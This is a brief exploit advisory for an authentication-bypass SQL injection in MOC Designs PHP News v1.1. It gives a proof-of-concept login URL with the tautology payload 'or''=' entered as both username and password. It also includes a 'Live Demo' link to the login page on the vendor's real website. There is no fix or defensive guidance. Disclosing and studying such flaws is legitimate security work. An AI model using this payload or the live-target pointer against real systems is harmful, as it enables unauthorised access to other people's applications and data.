MOC Designs PHP News version 1.1 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
ee203fe594f8184231861089b147b22f917e8f66ed4fd3f25ac7f5ef936f7137
#########################################################################
[+] MOC Designs PHP News v1.1 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#########################################################################
[+] Homepage : http://www.mocdesigns.com/
[+] SQL Injection (Auth Bypass)
- PoC
http://127.0.0.1/news/login.php
User : 'or''='
Password : 'or''='
- Live Demo
http://www.mocdesigns.com/news/login.php
#########################################################################